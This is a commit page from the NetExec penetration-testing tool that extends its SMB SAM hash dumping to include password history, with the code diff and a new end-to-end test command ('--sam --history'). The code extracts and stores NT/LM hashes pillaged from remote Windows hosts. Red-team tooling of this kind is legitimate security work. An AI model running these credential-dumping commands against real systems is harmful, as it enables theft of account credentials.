Skip to content

Commit d06d179

Browse files
committed
SAM History Dumping
smb: update proto args tests: add --sam --history example
1 parent fbcda8b commit d06d179

3 files changed

Lines changed: 8 additions & 3 deletions

File tree

nxc/protocols/smb.py

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1958,8 +1958,9 @@ def sam(self):
19581958
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
19591959

19601960
def add_sam_hash(sam_hash, host_id):
1961-
add_sam_hash.sam_hashes += 1
19621961
self.logger.highlight(sam_hash)
1962+
if "_history" in sam_hash:
1963+
return
19631964
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
19641965
self.db.add_credential(
19651966
"hash",
@@ -1968,22 +1969,26 @@ def add_sam_hash(sam_hash, host_id):
19681969
f"{lmhash}:{nthash}",
19691970
pillaged_from=host_id,
19701971
)
1972+
add_sam_hash.sam_hashes += 1
19711973

19721974
add_sam_hash.sam_hashes = 0
19731975

19741976
if self.remote_ops and self.bootkey:
1977+
history = getattr(self.args, "history", False)
19751978
if self.args.sam == "regdump":
19761979
SAM = RegSecretsSAMHashes(
19771980
self.bootkey,
19781981
remoteOps=self.remote_ops,
19791982
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
1983+
history=history,
19801984
)
19811985
else:
19821986
SAM_file_name = self.remote_ops.saveSAM()
19831987
SAM = SAMHashes(
19841988
SAM_file_name,
19851989
self.bootkey,
19861990
isRemote=True,
1991+
history=history,
19871992
perSecretCallback=lambda secret: add_sam_hash(secret, host_id),
19881993
)
19891994

nxc/protocols/smb/proto_args.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,9 @@ def proto_args(parser, parents):
3737
# NTDS options
3838
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
3939
exclusive = cred_gathering_group.add_mutually_exclusive_group()
40-
history_arg = exclusive.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history from target DC (NTDS.dit)")
40+
cred_gathering_group.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history (NTDS.dit or SAM)")
4141
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
4242
kerb_keys_arg.make_required = [ntds_arg]
43-
history_arg.make_required = [ntds_arg]
4443
enabled_arg.make_required = [ntds_arg]
4544
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
4645
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")

tests/e2e_commands.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-aut
2626
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME
2727
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self
2828
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
29+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --history
2930
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
3031
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history
3132
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled

0 commit comments

Comments
 (0)